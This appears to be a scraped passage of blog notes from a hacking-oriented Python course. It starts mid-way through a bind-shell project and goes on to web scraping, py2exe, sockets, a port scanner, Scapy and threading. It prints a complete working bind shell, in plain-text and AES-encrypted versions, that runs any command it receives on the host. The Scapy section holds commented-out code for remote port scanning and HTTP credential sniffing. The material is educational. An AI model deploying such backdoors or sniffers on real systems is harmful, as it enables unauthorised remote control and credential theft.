are not stuck or blocked while waiting # -- to send or receiving data # set up and start the send thread threading.Thread(target=send_thread, args=(s,)).start() # set up and start the receive thread threading.Thread(target=recv_thread, args=(s,)).start() ## ----- CONTROLLING THE FUNCTIONALITY -- PARSING ARGS ----- ## # to execute the script differently depending on whether we are # -- trying to listen as a bind shell or connect to a bind shell parser = argparse.ArgumentParser() # starting the server -- listen mode parser.add_argument(\u0026#34;-l\u0026#34;, \u0026#34;--listen\u0026#34;, action=\u0026#34;store_true\u0026#34;, help=\u0026#34;Setup a bind shell\u0026#34;, required=False) # to connect to a server parser.add_argument(\u0026#34;-c\u0026#34;, \u0026#34;--connect\u0026#34;, help=\u0026#34;Connect to a bind shell\u0026#34;, required=False) # parse the arguments args = parser.parse_args() if args.listen: # start the server if we want to listen server() elif args.connect: client(args.connect) # DEMO -- start the listener -- `python project5.py -l` # -- then in a new terminal start the client and connect to localhost # -- `python project5.py -c 127.0.0.1` # -- Run some commands -- `whoami` and `ipconfig` # -- Check with wireshark -- the connection is plain text -- not encrypted print(\u0026#34;-\u0026#34;*80) ## --------------- END --------------- ## Demo Example: Project-5 - Encrypted Version\nFeel free to experiment by commenting and uncommenting sections as you see fit.\nimport socket, subprocess, threading, argparse from Crypto.Cipher import AES from Crypto.Random import get_random_bytes from Crypto.Util.Padding import pad, unpad print(\u0026#34;-\u0026#34;*80) ## --------------- SYMMETRIC ENCRYPTION --------------- ## # NOTE -- a class for handling symmetric encryption/decryption # -- with a shared key class AESCipher: def __init__(self, key=None): # generate key if none was passed in self.key = key if key else get_random_bytes(32) # weak AES cipher in ECB mode self.cipher = AES.new(self.key, AES.MODE_ECB) def encrypt(self, plaintext): return self.cipher.encrypt(pad(plaintext, AES.block_size)).hex() def decrypt(self, encrypted): return unpad(self.cipher.decrypt(bytearray.fromhex(encrypted)), AES.block_size) # overwrite the string function to display the key def __str__(self): return \u0026#34;Key -\u0026gt; {}\u0026#34;.format(self.key.hex()) # NOTE -- overwrite all s.send with this new encrypted version # -- similarly -- change all the s.recv occurences to also decrypt the data # s:socket -- msg:message def encrypted_send(s, msg): s.send(cipher.encrypt(msg).encode(\u0026#34;latin-1\u0026#34;)) ## --------------- CONSTANTS AND VARIABLES --------------- ## DEFAULT_PORT = 1234 # max buffer size for the socket MAX_BUFFER = 4096 ## --------------- UTILITIES --------------- ## # execute a command def execute_cmd(cmd): try: output = subprocess.check_output(\u0026#34;cmd /c {}\u0026#34;.format(cmd), stderr=subprocess.STDOUT) except: output = b\u0026#34;Command failed!\u0026#34; return output # test it -- works # print(execute_cmd(\u0026#34;whoami\u0026#34;)) # test it -- fails # print(execute_cmd(\u0026#34;whoaaasdmi\u0026#34;)) # decoding and stripping data def decode_and_strip(s): return s.decode(\u0026#34;latin-1\u0026#34;).strip() ## ----- THREAD CAPABLE FUNCTIONS -- Executing commands ----- ## # NOTE -- the thread that will handle new user connections # -- threading, because we want to be able to have more than one user connect # -- to the bind shell and use it # s:socket as a parameter def shell_thread(s): # when first connected -- tell the user encrypted_send(s, b\u0026#34;[ -- Connected! --]\u0026#34;) try: # infinite loop -- waiting for command from the user while True: encrypted_send(s, b\u0026#34;\\r\\nEnter Command\u0026gt; \u0026#34;) # receive data up to the maximum buffer size data = s.recv(MAX_BUFFER) if data: # decrypt the data buffer = cipher.decrypt(decode_and_strip(data)) buffer = decode_and_strip(buffer) # nothing has been sent | exit if not buffer or buffer == \u0026#34;exit\u0026#34;: # close the socket s.close() exit() print(\u0026#34;\u0026gt; Executing command: \u0026#39;{}\u0026#39;\u0026#34;.format(buffer)) # send through the socket # execute the command and send the result back to the user # -- over the socket encrypted_send(s, execute_cmd(buffer)) except: # if error occurs -- close the socket s.close() exit() ## ----- THREAD CAPABLE FUNCTIONS -- Sending data ----- ## # NOTE -- needed functionalities -- dual functionality # -- to listen and accept connection AND to initiate connections # -- basically, we need to be able to run our script in both server and client # -- modes -- depending on how we start the script # s:socket def send_thread(s): try: while True: # accept data from the user on the cmd line data = input() + \u0026#34;\\n\u0026#34; # send that data over the socket encrypted_send(s, data.encode(\u0026#34;latin-1\u0026#34;)) except: # do it till some error occurs s.close() exit() ## ----- THREAD CAPABLE FUNCTIONS -- Receiving data ----- ## # s:socket def recv_thread(s): try: while True: data = decode_and_strip(s.recv(MAX_BUFFER)) if data: # decrypt the data data = cipher.decrypt(data).decode(\u0026#34;latin-1\u0026#34;) print(data, end=\u0026#34;\u0026#34;, flush=True) except: s.close() exit() ## --------------- SERVER FUNCTIONS --------------- ## # IDEA -- when the server receives a connection, it will give the user # -- the ability to execute commands as if they have just opened # -- a cmd.exe terminal on their machine def server(): # setting up the socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # bind to our default port s.bind((\u0026#34;0.0.0.0\u0026#34;, DEFAULT_PORT)) # listen for connections s.listen() print(\u0026#34;[ -- Starting bind shell! -- ]\u0026#34;) # wait for our connections to come in while True: client_socket, addr = s.accept() print(\u0026#34;[ -- New user connected! -- ]\u0026#34;) # when new connection --\u0026gt; start a new thread # -- pass the client socket as an argument threading.Thread(target=shell_thread, args=(client_socket,)).start() ## --------------- CLIENT FUNCTIONS --------------- ## # ip:ip address to connect to def client(ip): # create the socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # connect to that host on the default port s.connect((ip, DEFAULT_PORT)) print(\u0026#34;[ -- Connecting to bind shell! -- ]\u0026#34;) # already connected --\u0026gt; start up both the send and the receive threads # -- so that we are not stuck or blocked while waiting # -- to send or receiving data # set up and start the send thread threading.Thread(target=send_thread, args=(s,)).start() # set up and start the receive thread threading.Thread(target=recv_thread, args=(s,)).start() ## ----- CONTROLLING THE FUNCTIONALITY -- PARSING ARGS ----- ## # to execute the script differently depending on whether we are # -- trying to listen as a bind shell or connect to a bind shell parser = argparse.ArgumentParser() # starting the server -- listen mode parser.add_argument(\u0026#34;-l\u0026#34;, \u0026#34;--listen\u0026#34;, action=\u0026#34;store_true\u0026#34;, help=\u0026#34;Setup a bind shell\u0026#34;, required=False) # to connect to a server parser.add_argument(\u0026#34;-c\u0026#34;, \u0026#34;--connect\u0026#34;, help=\u0026#34;Connect to a bind shell\u0026#34;, required=False) # specifying the encryption key parser.add_argument(\u0026#34;-k\u0026#34;, \u0026#34;--key\u0026#34;, help=\u0026#34;Encryption key\u0026#34;, type=str, required=False) # parse the arguments args = parser.parse_args() # when trying to connect to a bind shell -- key needs to be included # -- otherwise the server won\u0026#39;t be able to communicate properly if args.connect and not args.key: parser.error(\u0026#34;-c CONNECT requires -k KEY!\u0026#34;) # key is specified -- create cipher if args.key: cipher = AESCipher(bytearray.fromhex(args.key)) else: # start new cipher with a random key cipher = AESCipher() # check the current encryption key we are using print(cipher) if args.listen: # start the server if we want to listen server() elif args.connect: client(args.connect) # DEMO -- start the listener -- `python project5_encrypted.py -l` # -- then in a new terminal start the client and connect to localhost # -- `python project5_encrypted.py -c 127.0.0.1 -k \u0026lt;key-from-server\u0026gt;` # -- Run some commands -- `whoami` and `ipconfig` # -- Check with wireshark -- the connection is ENCRYPTED print(\u0026#34;-\u0026#34;*80) ## --------------- END --------------- ## ","permalink":"https://onebee.blog/blog/collection/foundations/python-201-p4/","summary":"Collection | Foundations | Python 201 | Part 4 - Python Projects","title":"Foundations | Python 201 - P4"},{"content":"Attribution\nThis Python 201 guide is based on our notes from the TCM Security - Python 201 for Hackers video course by Riley Kidd.\nWe highly recommend this course as a great starting point for learning Python; it was instrumental in our understanding of the subject. We would like to extend a big thank you to the TCM Security Team for providing such valuable resources!\nExtending Python BeautifulSoup Web scraping is the process of extracting data from websites. In hacking, we use it to speed up enumeration or brute-forcing tasks. It can be tricky because web pages are often unstructured.\nThe basic steps:\nDownload the HTML from the target page Parse the HTML into a navigable structure Extract the specific data we need Installation\npip install beautifulsoup4 Note regarding Blocking\nSome websites block scrapers. To avoid detection:\nUse a custom user-agent header Add delays between requests with time.sleep() Limit the number of requests. Demo Example\nFeel free to experiment by commenting and uncommenting sections as you see fit.\nimport requests print(\u0026#34;-\u0026#34;*80) ## ----- Web Scraping -- Grabbing the DOM ----- ## # download the scoreboard from 247ctf.com page = requests.get(\u0026#34;https://247ctf.com/scoreboard\u0026#34;) # dump the dom/text # print(page.text) print(\u0026#34;-\u0026#34;*80) ## ----- BeautifulSoup -- Parsing ----- ## # importing beautifulsoup # -- basically, it converts the complex html structure into a # -- bunch of pyhton objects, which we can query and interact with # -- based on the structure of the html tree from bs4 import BeautifulSoup # use bs to parse the html # -- 1st param -- the downloaded html # -- 2nd param -- the parser we want to use soup = BeautifulSoup(page.content, \u0026#34;html.parser\u0026#34;) # the raw text content of the site without displaying the elements print(soup.text) print(\u0026#34;-\u0026#34;*80) ## ----- BeautifulSoup -- Other Functions -- Page Title ----- ## # title of the html page print(soup.title) print(soup.title.name) # the raw text string of the title print(soup.title.string) print(\u0026#34;-\u0026#34;*80) ## ----- BeautifulSoup -- Looking for Elements -- Links----- ## # to find html elements -- the first link print(soup.find(\u0026#34;a\u0026#34;)) # find all html links on the page for line in soup.find_all(\u0026#34;a\u0026#34;): print(line) # print only the href print(line.get(\u0026#39;href\u0026#39;)) print(\u0026#34;-\u0026#34;*80) ## ----- BeautifulSoup -- Looking for Elements -- Other restrictions----- ## # look for an id with a specific tag print(soup.find(id=\u0026#34;fetch-error\u0026#34;)) # look for a specific class -- include _ (class is python keyword) print(soup.find(class_=\u0026#34;nav-link\u0026#34;)) # look for a link with a specific class print(soup.find(\u0026#34;a\u0026#34;, class_=\u0026#34;nav-link\u0026#34;)) print(\u0026#34;-\u0026#34;*80) ## ----- BeautifulSoup -- Tracking the top players----- ## # identifying the score boad table table = soup.find(\u0026#34;table\u0026#34;) #print(table) # extract the tbody -- table body table_body = table.find(\u0026#34;tbody\u0026#34;) # print(table_body) # one row per each user -- tr:table-row rows = table_body.find_all(\u0026#34;tr\u0026#34;) for row in rows: print(\u0026#34;-\u0026#34;*5) # print(row) # 6 columns per row # cols = [x for x in row.find_all(\u0026#34;td\u0026#34;)] # look only for the text -- strip out the noise cols = [x.text.strip() for x in row.find_all(\u0026#34;td\u0026#34;)] # print(cols) print(\u0026#34;{} is in {} place with {} points\u0026#34;.format(cols[2], cols[0], cols[4])) print(\u0026#34;-\u0026#34;*80) ## ----- END ----- ## Py2exe So far, our scripts require Python to be installed on the target machine. Py2exe solves this by converting Python scripts into standalone Windows executables that run without any Python installation.\nHow it works\nIt extends Python\u0026rsquo;s distutils module to bundle the interpreter, our code, and dependencies into a single package.\nInstallation\npip install py2exe Requirements: Python 3.11\nSetup\nWe need a separate build script that tells py2exe how to package our main script.\nExample script to convert \u0026ndash; py2exe_demo.py:\nprint(\u0026#34;hacked\u0026#34;) Demo Example:\nThe build script \u0026ndash; Feel free to experiment by commenting and uncommenting sections as you see fit.\n# reference setup from diskutils core from distutils.core import setup import py2exe # call setup and tell it the entry point that we want -- our hack script # -- will create a new directory `dist` # -- this distribution folder contains the executable and all the files needed # -- to run the executable -- run it -- `cd dist` and then `py2exe_demo.exe` # setup(console=[\u0026#39;py2exe_demo.py\u0026#39;]) # passing in parameters -- the new `dist` folder is much smaller # -- bundle_files: will bundle everything including the python interpreter # -- compressed: # -- zipfile:None --\u0026gt; the files will be bundled within the executable setup( options = {\u0026#39;py2exe\u0026#39; {\u0026#39;bundle_files\u0026#39;: 1, \u0026#39;compressed\u0026#39;: True}}, console=[{\u0026#39;script\u0026#39;:\u0026#39;py2exe_demo.py\u0026#39;}], zipfile = None ) Usage\nRun python setup.py py2exe to build. The executable appears in the dist folder.\nSockets A socket is a bidirectional communication channel. Sockets can communicate within a process, between processes, or across networks. Here we focus on TCP (connection-oriented) networking.\nKey tools for testing\nPuTTY: Terminal emulator that supports raw socket connections Wireshark: Packet analyzer for viewing network traffic Demo Example\nFeel free to experiment by commenting and uncommenting sections as you see fit.\nimport socket print(\u0026#34;-\u0026#34;*80) ## ----- Socket ----- ## # identify the ip address of a server ip = socket.gethostbyname(\u0026#39;247ctf.com\u0026#39;) print(ip) # create a socket -- specify parameters for the type of socket # -- AF_INET: transport mechanism -- IPv4 # -- SOCK_STREAM: for connection oriented protocol -- TCP s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # NOTE -- options with socket # -- binding the socket to a port and listening on that port # -- use the socket to make an outbound connection to an other system print(\u0026#34;-\u0026#34;*80) ## ----- Socket -- Outbound connection ----- ## # a host port pair is required -- # -- host: ipv4 address or hostname -- string # -- port: int s.connect((\u0026#34;247ctf.com\u0026#34;, 80)) # sending and receiving data via the socket # sending data -- a head request -- a get request without a msg body s.sendall(b\u0026#34;HEAD / HTTP/1.1\\r\\nHost: 247ctf.com\\r\\n\\r\\n\u0026#34;) # check the response -- 1024 bytes -- the max amount of data it will receive # at once print(s.recv(1024).decode()) # close the socket s.close() print(\u0026#34;-\u0026#34;*80) ## ----- Socket -- Binding to a Port and Listening ----- ## # NOTE # -- depending on the used protocol # -- you will typically need to have both the server and the client component # -- server --\u0026gt; waiting for connections # -- client --\u0026gt; initiating the connections # adding both the client and the server client = False server = False # secify the port for the socket port = 8080 # create the socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # create the server -- listening for connections # server = True if server: # bind the socket to the localhost to a local port s.bind((\u0026#34;127.0.0.1\u0026#34;, port)) # listen to connections s.listen() # verify listening with netstat -- ``netstat -an` # accepting connections in the socket while True: # accept: accept a connection by blocking and waiting # for incoming connections # -- return values -- pair of a new socket object # -- usable to send and receive data to the other end of the connection # -- the client connecting to the server connect, addr = s.accept() connect.send(b\u0026#34;You made it to the socket!\u0026#34;) connect.close() # use paddy to connect to the socket and verify if the server is # working correctly # configuration: # -- 127.0.0.1 -- 8080 -- Connection type:Other Raw # -- Close window on exit: Never # print(\u0026#34;-\u0026#34;*80) ## ----- Socket -- Client mode ----- ## # NOTE -- running the client # -- only works if server is already running # NOTE -- verifying it with wireshark # -- use the adapter for loopback traffic capture # -- start capture -- filter for \u0026#34;tcp.port == 8080\u0026#34; # -- launch the client part again -- while server is already running # -- click on one packet \u0026gt; Follow \u0026gt; TCP Stream # create the client -- making outbound connections # client = True if client: s.connect((\u0026#34;127.0.0.1\u0026#34;, port)) print(s.recv(1024).decode()) s.close() print(\u0026#34;-\u0026#34;*80) ## ----- Socket -- Port Scanner ----- ## # NOTE -- port scanner # -- use the sockets library to create a port scanner # -- idea: run through a list of ports, try to connect to each of them and # -- in doing so, test, whether that port is open # iterate over common ports for port in [22, 80, 139, 443, 445, 8080]: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # specify the default time out socket.setdefaulttimeout( 1) # check the result of our connection attempt -- localhost as target # -- connect_ex: like connect, but returns an error rather than # -- raising an exception -- error indicator=0 upon sucessful connect result = s.connect_ex((\u0026#34;127.0.0.1\u0026#34;, port)) if result == 0: print(\u0026#34;{} is open!\u0026#34;.format(port)) else: print(\u0026#34;{} is closed!\u0026#34;.format(port)) # close the socket s.close() # # adding a input() so that it does not die # # input() print(\u0026#34;-\u0026#34;*80) ## ----- END ----- ## Scapy Scapy is a powerful packet manipulation library. We can forge, decode, send, and capture packets at a low level. Every part of a packet is modifiable and inspectable.\nIt has its own CLI and is able to craft packets at different layers.\nInstallation\npip install scapy Demo Example\nFeel free to experiment by commenting and uncommenting sections as you see fit.\nfrom scapy.all import * # print(\u0026#34;-\u0026#34;*80) # ## ----- Creating/Sending an ICMP packet ----- ## # # ip layer # ip_layer = IP(dst=\u0026#34;247ctf.com\u0026#34;) # # icmp layer # icmp_layer = ICMP() # # creating a packet -- combine them with the slash # packet = ip_layer / icmp_layer # # sending the packet # r = send(packet) # # view the response -- detailed information about the packet # # print(packet.show()) # # or check it via wireshard # # -- Manually: wireshark \u0026gt; Ethernet capture \u0026gt; filter on \u0026#34;icmp\u0026#34; -- re-run script # # -- Automatically: # # call wireshark automatically from within scapy # # wireshark(packet) # print(\u0026#34;-\u0026#34;*80) # ## ----- ARP Scan on the local network ----- ## # # NOTE -- depending on the configuration of the remote systems, they may not # # -- directly respond to ICMP traffic # # -- therefore, we can go a layer deeper and instead # # -- perform an address resolution protocol -- arp scan on the local network # # use SRP to send and receive packets at layer 2 # # -- specify a broadcast destination address -- dst:ff..ff --\u0026gt; broadcast address # # -- specify the arp target protocol address -- the local subnet the machine is on # # ---- psdt:subnet # # -- answering/unanswering hosts # ans, unans = srp(Ether(dst=\u0026#34;ff:ff:ff:ff:ff:ff\u0026#34;) / ARP(pdst=\u0026#34;192.168.100.0/24\u0026#34;), timeout=3, verbose=False) # # # only check on the live hosts # # for i in ans: # # # dumping the whole information # # # print(i) # # # print only the ip addresses # # print(i[1].psrc) # print(\u0026#34;-\u0026#34;*80) # ## ----- Port Scanner -- TCP Connect Scan -- LOCALHOST ----- ## # # NOTE: perform the same scan with scapy at a lower level # # NOTE -- TCP # # -- TCP handshake involves 3 steps -- if it completes --\u0026gt; we have a connection # # -- 1 -- To initialize the connection -- the client send a packet with a \u0026#34;SYN\u0026#34; # # -- - -- Flag to the port it wants to connect to # # -- 2 -- if the port is open and the server is accepting connections, it will # # -- - -- respond with a tcp packet with the \u0026#34;SYN\u0026#34; and \u0026#34;ACK\u0026#34; flag set # # -- 3 -- to complete the connection -- the client sends a packet with the # # -- - -- \u0026#34;ACK\u0026#34; and the \u0026#34;RST\u0026#34; (reset) flag # # use this information to create a TCP Connect port scanner with scapy # # -- if we can complete the handshake --\u0026gt; open port # # -- if we can\u0026#39;s and if server is responding with \u0026#34;RST\u0026#34; --\u0026gt; port is not accepting # # -- connections and is probably closed # # hardcoding the flags # SYN = 0x02 # RST = 0x04 # ACK = 0x10 # # common ports to scan # for port in [22, 80, 139, 443, 445, 8080]: # # sr1() -- send a packet and return ONLY the first packet that answered it # # set the source port to some random value # # try to connect -- localhost -- random source port -- sending a SYN # tcp_connect = sr1(IP(dst=\u0026#34;127.0.0.1\u0026#34;)/TCP(sport=RandShort(), dport=port, flags=\u0026#34;S\u0026#34;), timeout=1, verbose=False) # # if succeeded and the packet has a tcp layer # if tcp_connect and tcp_connect.haslayer(TCP): # # extract the response flags # response_flags = tcp_connect.getlayer(TCP).flags # # # verify it # # print(response_flags) # # check the response flags # # open port --\u0026gt; send reset # if response_flags == (SYN + ACK): # # send() -- we do NOT expect a response from this # snd_rst = send(IP(dst=\u0026#34;127.0.0.1\u0026#34;)/TCP(sport=RandShort(), dport=port, flags=\u0026#34;AR\u0026#34;), verbose=False) # print(\u0026#34;{} is open!\u0026#34;.format(port)) # # closed port # elif response_flags == (RST + ACK): # print(\u0026#34;{} is closed!\u0026#34;.format(port)) # # could not make the connection # else: # print(\u0026#34;{} is closed!\u0026#34;.format(port)) # print(\u0026#34;-\u0026#34;*80) # ## ----- Port Scanner -- TCP Connect Scan -- REMOTEHOST ----- ## # # hardcoding the flags # SYN = 0x02 # RST = 0x04 # ACK = 0x10 # # common ports to scan # for port in [22, 80, 139, 443, 445, 8080]: # tcp_connect = sr1(IP(dst=\u0026#34;247ctf.com\u0026#34;)/TCP(sport=RandShort(), dport=port, flags=\u0026#34;S\u0026#34;), timeout=1, verbose=False) # if tcp_connect and tcp_connect.haslayer(TCP): # response_flags = tcp_connect.getlayer(TCP).flags # if response_flags == (SYN + ACK): # snd_rst = send(IP(dst=\u0026#34;247ctf.com\u0026#34;)/TCP(sport=RandShort(), dport=port, flags=\u0026#34;AR\u0026#34;), verbose=False) # print(\u0026#34;{} is open!\u0026#34;.format(port)) # elif response_flags == (RST + ACK): # print(\u0026#34;{} is closed!\u0026#34;.format(port)) # else: # print(\u0026#34;{} is closed!\u0026#34;.format(port)) # print(\u0026#34;-\u0026#34;*80) # ## ----- Packet Sniffing ----- ## # # NOTE -- example scenario # # -- sniffing usernames;passwords sent to a website over http # # import http # from scapy.layers.http import HTTPRequest # # define the callback function # def process(packet): # if packet.haslayer(HTTPRequest): # # view the host and the path where the data is being sent # print(packet[HTTPRequest].Host.decode() + packet[HTTPRequest].Path.decode()) # # create a function as a callback and use the built-in sniff function # # -- prn:callback function -- store:don\u0026#39;t want to store anything # sniff(filter=\u0026#34;port 80\u0026#34;, prn=process, store=False) # # NOTE -- sniffing for packets # # -- beware -- browsers will force the https connections -- will not display them # # -- use curl instead -- `curl \u0026#34;http://247ctf.com/?user=test\u0026amp;password=test\u0026#34;` # print(\u0026#34;-\u0026#34;*80) # ## ----- Analyzing/Modifying existing packet captures ----- ## # # NOTE -- for demonstration -- take a look at a challenge from 247ctf # # -- Challenges \u0026gt; Networking \u0026gt; Error Reporting Protocol # # -- LOGIN NEEDED \u0026gt; Download pcap -- *error_reporting.pcap* # # NOTE -- analyzing the packet capture # # -- full of ICMP traffic # # -- the ICMP packet contains a data field --\u0026gt; can be used for error messages # # -- however --\u0026gt; this data field can be used for anything # # -- examples: exfiltrating data; bypassing a firewall # # NOTE -- extracting the data from the packet capture # # -- manually -- we can do it with wireshark, but it\u0026#39;s slow # # -- automatically -- below # # read the packet capture -- pcap file in the same folder # scapy_cap = rdpcap(\u0026#34;error_reporting.pcap\u0026#34;) # # iterate over the packets # for packet in scapy_cap: # # if the packet has an ICMP layer # if packet.getlayer(ICMP): # # check the data # print(packet.load) # # testing -- halt execution after the first packet # # input() print(\u0026#34;-\u0026#34;*80) ## ----- END ----- ## Subprocess General Concepts\nA running program is essentially a process. For example, every time you run a script, you are executing a Python interpreter process. A process can start another process. These child processes run independently of their parent process. Because they are independent, some processes will execute concurrently with the parent. Launching a subprocess does not necessarily mean the current process must hang or wait for input/output or for the child process to finish execution. Python Subprocess Module\nThe subprocess module provides an interface to create and manage additional processes. It is used to spawn new processes, connect to standard pipes, and obtain process error codes. It is part of the standard library and is cross-platform, meaning it works on Linux, Windows, and macOS. Underlying Process Management\nOn Windows, the creation and management of these functions are handled by the Popen class. Under the hood, it utilizes the CreateProcess function and popen. This provides the ability to perform fine-grained configuration regarding how a process is executed. You can control the start-up info object and associated creation flags, which is useful for complex execution requirements. Security Warning\nBe careful with how you make subprocess calls. Avoid passing user input directly to dangerous functions, as this could allow an attacker to achieve remote code execution.\nDemo Example\nFeel free to experiment by commenting and uncommenting sections as you see fit.\nimport subprocess print(\u0026#34;-\u0026#34;*80) ## ----- EXECUTING A PROCESS ----- ## # # execute a command without needing to interact with it # # launch the calculator app -- (not default on every windows|was deleted) # subprocess.call(\u0026#34;calc\u0026#34;) # # better alternative -- more secure way to spawn it # # pass the commands as a list -- 1st element --\u0026gt; the command to call # # -- next elements --\u0026gt; the arguments for that call # subprocess.call([\u0026#34;calc\u0026#34;]) # # NOTE: if shell=True is passed as an argument # # -- the command string is interpreted as a raw shell command # # -- meaning: we are invoking a shell before executing the sub process # # -- BEWARE: if user controlled input is passed --\u0026gt; opening to code execution # subprocess.call([\u0026#34;calc\u0026#34;], shell=True) print(\u0026#34;-\u0026#34;*80) ## ----- EXECUTING A PROCESS -- checking for errors ----- ## # the same as call -- but the exit code is checked # -- if error occured -- exception is raised # # -- will run but with warning -- \u0026#34;asd\u0026#34; is not recognized as an internal # # -- command... # out = subprocess.call([\u0026#34;cmd\u0026#34;, \u0026#34;/c\u0026#34;, \u0026#34;asd\u0026#34;]) # # will raise the CalledProcessError -- returned non-zero exit status 1 # out = subprocess.check_call([\u0026#34;cmd\u0026#34;, \u0026#34;/c\u0026#34;, \u0026#34;asd\u0026#34;]) # # will run after checks # out = subprocess.check_call([\u0026#34;cmd\u0026#34;, \u0026#34;/c\u0026#34;, \u0026#34;calc\u0026#34;]) print(\u0026#34;-\u0026#34;*80) ## ----- EXECUTING A PROCESS -- STDIN/STDOUT ----- ## # NOTE -- when using the call method, the standard input and output is bound # -- to the parent # -- meaning: the calling program can NOT capture the output of the command # -- which was executed # capturing the output of the called command out = subprocess.check_output([\u0026#34;cmd\u0026#34;, \u0026#34;/c\u0026#34;, \u0026#34;whoami\u0026#34;]) # having access to the output as a python variable # print(out.decode()) print(\u0026#34;The output was: {}\u0026#34;.format(out.decode())) # NOTE -- the underlying process creation and management of these functions # -- is handled by the popen class on windows # -- under the hood it makes use of the create process function and popen # -- gives us the ability to perform fine-grained configuration as to how # -- our process should be executed # Example -- we have the ability to control the start-up info object and # -- associated creation flags -- useful for more complicated process execution # -- requirements print(\u0026#34;-\u0026#34;*80) ## ----- END ----- ## Threading Threads are small units of work, usually contained in processes. A process can have more than one thread, and threads share the state and memory of the process. Threading in Python basically means telling your code to do more than one thing at once.\nWhy use threading?\nImprove speed by performing actions concurrently Keep a program responsive to input while performing other blocking actions In Python\nEach process has at least one thread: the main thread, where we\u0026rsquo;ve been executing our scripts so far.\nImportant Note\nOnce the main thread exits, it attempts to kill all of its child threads \u0026ndash; unless the thread is specified as a daemon.\nDemo Example\nFeel free to experiment by commenting and uncommenting sections as you see fit.\nimport threading, time from datetime import datetime print(\u0026#34;-\u0026#34;*80) ## ----- Compare sequential vs concurrent cleeping ----- ## def sleeper(i): print(\u0026#34;hello from %d!\u0026#34; % i) # sleep for i seconds time.sleep(i) print(\u0026#34;goodbye from %d!\u0026#34; %i) \u0026#34;\u0026#34;\u0026#34; ## ----- Sequential execution ----- ## # NOTE -- it takes around 6 sec to execute # -- reason: we are being blocked by time.sleep() # -- before executing sleeper(2), sleeper(1) needs to finish ... # print out the current time -- hours, minutes, seconds print(datetime.now().strftime(\u0026#34;%H:%M:%S\u0026#34;)) sleeper(0) sleeper(1) sleeper(2) sleeper(3) print(datetime.now().strftime(\u0026#34;%H:%M:%S\u0026#34;)) \u0026#34;\u0026#34;\u0026#34; \u0026#34;\u0026#34;\u0026#34; ## ----- Concurrent/paralell execution -- starting right away ----- ## # NOTE -- each run provides a different output, since the paralell # -- threads could be scheduled differently with each execution # print out the current time -- hours, minutes, seconds print(datetime.now().strftime(\u0026#34;%H:%M:%S\u0026#34;)) # create a new thread and start it threading.Thread(target=sleeper, args=(0,)).start() threading.Thread(target=sleeper, args=(1,)).start() threading.Thread(target=sleeper, args=(2,)).start() threading.Thread(target=sleeper, args=(3,)).start() print(datetime.now().strftime(\u0026#34;%H:%M:%S\u0026#34;)) ## ----- Concurrent/paralell execution -- delayed execution with timer ----- ## # NOTE -- timer -- for delayed thread execution # -- takes an array of arguments and a dictionary of keyword arguments # print out the current time -- hours, minutes, seconds print(datetime.now().strftime(\u0026#34;%H:%M:%S\u0026#34;)) # wait for the timer before executing the thread threading.Timer(0, sleeper, [0]).start() threading.Timer(1, sleeper, [1]).start() threading.Timer(2, sleeper, [2]).start() threading.Timer(3, sleeper, [3]).start() print(datetime.now().strftime(\u0026#34;%H:%M:%S\u0026#34;)) \u0026#34;\u0026#34;\u0026#34; \u0026#34;\u0026#34;\u0026#34; ## ----- Printing/getting input at the same time ----- ## # ISSUE -- how can we print something to the screen and at the same time # -- get input from the user # -- with input() -- the program will be busy wainting for our input # print(\u0026#34;hello\u0026#34;) # # will wait for the input before printing \u0026#34;world\u0026#34; # input() # print(\u0026#34;world\u0026#34;) # NOTE -- idea: 2 threads which can communicate with each other using a simple # -- global variable # global variable stop = False # constantly asking the user for input # -- if exit is desired --\u0026gt; stop both functions def input_thread(): global stop while True: # ask a user for input user_input = input(\u0026#34;Should we stop?:\u0026#34;) print(\u0026#34;\u0026gt;\u0026gt; User says: {}\u0026#34;.format(user_input)) # check if stop if user_input == \u0026#34;yes\u0026#34;: stop = True break # prints the counter -- increases the coounter -- sleeps for 1 sec def output_thread(): global stop count = 0 while not stop: print(count) count += 1 time.sleep(1) # starting both of the threads t1 = threading.Thread(target=input_thread).start() t2 = threading.Thread(target=output_thread).start() \u0026#34;\u0026#34;\u0026#34; \u0026#34;\u0026#34;\u0026#34; ## ----- Synchronizing Threads -- WITHOUT LOCKING ----- ## # NOTE -- threading module has built-in functionality to help implement # -- locking that can be used to synchronize threads # NOTE -- locking can be used to control access to shared resources # -- or to prevent corruption or dead-lock issues with paralell processing # -- the lock controlls which thread is allowed to access a resource during # -- execution # EXAMPLE -- we have a list, and want a number of threads to pop a value # -- off of that list # WITHOUT A LOCK: different order with each execution # ISSUE: we do NOT want to multiple threads to pop the same value from the list # -- by mistake # IDEA -- prevent simultaneous modification of a variable # -- lock will force an operation to wait, until the variable is unlocked in # -- order to access or modify it # create a lock data_lock = threading.Lock() # create the list data = [x for x in range(1000)] # consume thread def consume_thread(): global data_lock while len(data) \u0026gt; 0: print(data.pop()) # create the thread and start straight away threading.Thread(target=consume_thread).start() threading.Thread(target=consume_thread).start() threading.Thread(target=consume_thread).start() \u0026#34;\u0026#34;\u0026#34; ## ----- Synchronizing Threads -- Locking ----- ## # NOTE -- due to the locking mechanism, the popping is done in # -- sequential order # create a lock data_lock = threading.Lock() # create the list data = [x for x in range(1000)] # consume thread def sync_consume_thread(): global data_lock, data while True: # acquire the lock -- this is blocking data_lock.acquire() while len(data) \u0026gt; 0: # display the current thread, and the popped item print(threading.current_thread().name, data.pop()) # release the lock -- the waiting threads are allowed to take it data_lock.release() # create the thread and start straight away threading.Thread(target=sync_consume_thread).start() threading.Thread(target=sync_consume_thread).start() threading.Thread(target=sync_consume_thread).start() print(\u0026#34;-\u0026#34;*80) ## --------------- END --------------- ## Pycryptodome Pycryptodome is a fork of the pycrypto library, which last received updates in 2014. It can be used to perform common encryption tasks, including symmetric and asymmetric ciphers, hashes, and message authentication codes.\nInstallation\npip install pycryptodome Password-Based Derivation Functions\nPassword-based derivation functions generate a byte sequence from a user-provided string. This is useful for converting passwords into cryptographic keys.\nPadding\nSymmetric ciphers require data to be padded to match the block size. Pycryptodome provides utilities to handle this padding automatically.\nDemo Example\nFeel free to experiment by commenting and uncommenting sections as you see fit.\nfrom Crypto.Random import get_random_bytes print(\u0026#34;-\u0026#34;*80) ## ----- Crypto -- Get Random Bytes ----- ## # return random byte stream of the lenght specified key = get_random_bytes(32) 